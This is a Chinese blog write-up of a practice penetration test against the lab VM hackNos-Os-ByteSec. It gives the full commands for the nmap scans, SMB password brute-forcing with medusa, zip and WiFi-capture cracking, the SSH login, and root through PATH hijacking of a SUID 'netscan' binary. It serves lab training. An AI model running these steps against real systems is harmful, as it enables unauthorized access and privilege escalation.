hackNos-Os-ByteSec打靶日记

1. nmap扫描

1.1 确认目标ip地址

通过反复开启靶机并扫描相应网段中存活的主机即可确定靶机的ip地址

1
sudo nmap -sN 192.168.2.0/24

image-20240711202708347

确定靶机的ip地址:192.168.2.9

1.2 目标开放TCP端口

1
sudo nmap -sS -p- 192.168.2.9 -oA nmapscan/tcpports

image-20240711203155425

靶机开放的tcp端口有:80,139,445,2525

1.3 目标开放UDP端口

1
sudo nmap -sU --top-ports 20 192.168.2.9 -oA nmapscan/udpports

image-20240711203506151

保留备用,常规扫描一下

1.4 开放TCP端口详细信息

1
sudo nmap -sS -sC -sV -O -p80,139,445,2525 192.168.2.9 -oA nmapscan/tcpDetails

image-20240711203713309

可以确定的信息有:

操作系统:Linux

还有一些额外的信息内容:

image-20240711203928118

暂时不清楚这些是啥玩意儿,后续没有思路的时候查查看

1.5 nmap漏洞扫描

1
sudo nmap -script=vuln -p80,139,445,2525 192.168.2.9 -oA nmapscan/vuln

image-20240711205807855

可以获得的信息不太多,找到的sql注入也不太可靠,Dos攻击没什么用

最下面那里似乎找到了smb,但是其说明的似乎是关于Windows的内容

2. 信息检索

2.1 目录爆破

  • dirsearch目录爆破
1
dirsearch -u http://192.168.2.9/ -x 400-499

image-20240711211423239

  • gobuster目录爆破
1
gobuster dir -u http://192.168.2.9 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240711211452473

可以得到的目录有:

/news

/img

/html

/gallery

/css

/js

/server-status

2.2 信息收集

通过遍历已经爆破出来的目录发现在/img/gallery目录下存在网页构建的相应图片,但是图片并没有什么相应的隐藏信息或其他的元数据隐藏信息(使用exiftool工具查看原数据)。

image-20240711213102815

image-20240711213051767

至此,已经基本可以确定从80端口的http服务已经走不通了。可以尝试找一下其他端口的漏洞点。就从刚才找到的那个smb2开始查查看!

2.3 smb

由于之前找到了smb,可以通过搜索一下smb的漏洞利用方法;最终找到了一篇关于smb安全测试的文章https://blog.csdn.net/redwand/article/details/113730414,并且在其中找到了工具`enum4linux`和`smbclient`;

通过这篇linux samba文章的介绍可以知道smb的详细用法https://blog.csdn.net/u012964600/article/details/135850570

首先通过enum4linux工具对目标靶机进行检测

1
enum4linux 192.168.2.9

image-20240712143922237

通过工具的测试可以发现其存在三个linux用户:sagar、blackjax、smb;可惜没有检测出用户的密码;

但是通过上述的文章可知,工具medusa能够实现smb用户密码的爆破,那么我们就用我们常用的密码字典进行简单的爆破;构建三个用户的用户名字典;

1
2
3
4
5
vim username.txt
# 写入以下内容
# sagar
# blackjax
# smb
1
medusa -h 192.168.2.9 -U username.txt -P password.txt -M smbnt | grep "FOUND"

image-20240712150448480

可以确定用户blackjaxsagar用户的密码均为空格密码,原来上面不是没有检测出密码,而是密码是空格(最后测试的时候,发现smb用户也是空密码)

尝试使用工具smbclient连接一下目标,通过检测共享文件夹,发现并没有共享的文件夹

1
smbclient -L //192.168.2.9/ -U smb%

image-20240712153744476

根据返回结果可以猜测共享的文件夹应该是被隐藏了,所以我们假设共享的文件夹名称就是对应的用户名称进行访问;

1
2
3
smbclient //192.168.2.9/blackjax -U blackjax%
smbclient //192.168.2.9/sagar -U sagar%
smbclient //192.168.2.9/smb -U smb%

image-20240712153952481

最后,在smb用户共享的smb文件夹中终于进入了相应的文件夹

将文件夹中的文件下载到本地

1
2
ls
get main.txt safe.zip

image-20240712154120870

回到本地发现,main.txt文件没有什么有用的信息,且safe.zip文件处于加密状态

通过搜索zip文件密码爆破工具可以知道fcrackzip能够对zip文件进行密码爆破,那么我们直接使用工具进行密码爆破;

1
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip

image-20240712154743103

成功爆破出压缩文件的压缩密码:hacker1

1
unzip safe.zip

image-20240712154844208

解压文件后得到一张图片和一个流量监听文件,查看一下图片内容

image-20240712155400467

似乎不是什么非常有用的信息,将注意力放在流量监听的文件上吧。

使用wireshark工具打开该流量监听的文件发现其协议均为802.11,即无线连接数据。

image-20240712155708929

对于无线网络流量数据包常用工具Aircrack-ng进行分析破解获取有用的信息;

1
aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

image-20240712160659290

爆破一个用户名和相应的密码

username:blackjax password:snowflake

想想之前使用到用户名和密码的地方,也就只有ssh没有用到了,尝试使用ssh连接靶机,注意ssh服务的端口是2525

1
ssh blackjax@192.168.2.9 -p 2525

image-20240712161400462

1
2
3
4
python -c "import pty;pty.spawn('/bin/bash')"
whoami
id
ls

image-20240712161504096

至此,我们就已经获得了简单的基本权限啦!

查看user.txt获得flag提示

image-20240712162551000

提示我们去获得Root权限,MD5-HASH解密得到内容abhishek

3. 提权

3.1 命令提权

照常惯例,寻找一下是否存在可以提权的命令

1
find / -perm -u=s -type f 2>/dev/null

image-20240712161750685

有许多没有见过的命令,可以去查查看是否存在可以提权的命令:

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/netscan
/usr/bin/sudo
/bin/ping6
/bin/fusermount
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/ntfs-3g

我们通过运行netscan命令发现其运行结果与netstat命令相似

image-20240712164550199

通过chatgpt搜索可以知道netscan命令并不是一个标准的命令,因此可以猜测是网站构建者自己构建的命令,其底层是调用netstat命令来实现的,所以其本质调用了netstat命令

image-20240712164738035

因此,我们到/tmp目录下创建一个netstat来来替代原本系统的netstat(通过添加系统环境变量到/tmp目录,使系统调用netstat时,定位到/tmp目录下的netstat),然后用户以系统权限调用netscan命令时,就会以系统权限执行我们构建的netstat从而获取系统权限

1
2
3
4
5
6
cd /tmp
echo "/bin/bash" > netstat
chmod 777 netstat
export PATH=/tmp:$PATH
echo $PATH
netscan

image-20240712165421413

image-20240712165505943

最后也是成功的拿下了flag。完工!下班!

4. 总结

  1. 靶场不再从最基本的网页管理系统获取系统普通权限,而是通过协议漏洞搜索获取ssh密码破解获得基本权限
  2. 提权不在拘泥与漏洞和命令两方面提权,要从更多方面考虑,是不是用户自定义的命令且调用了系统命令,那么就可以修改环境变量来实现提权
  3. 无线数据流量监听数据包的破解,本次采用工具破解,若下次无法用工具破解又该如何下手?
  4. smbclientenum4linuxmedusaaircrack-ng等工具的使用方法,多搜索,多查资料,能够查到相应的工具利用。
  5. 实在无法找到相应的信息资料,考虑自行分析。

hackNos-Os-ByteSec打靶日记
http://candyb0x.github.io/2024/07/12/hackNos-Os-ByteSec打靶日记/
作者
Candy
发布于
2024年7月12日
更新于
2024年7月12日
许可协议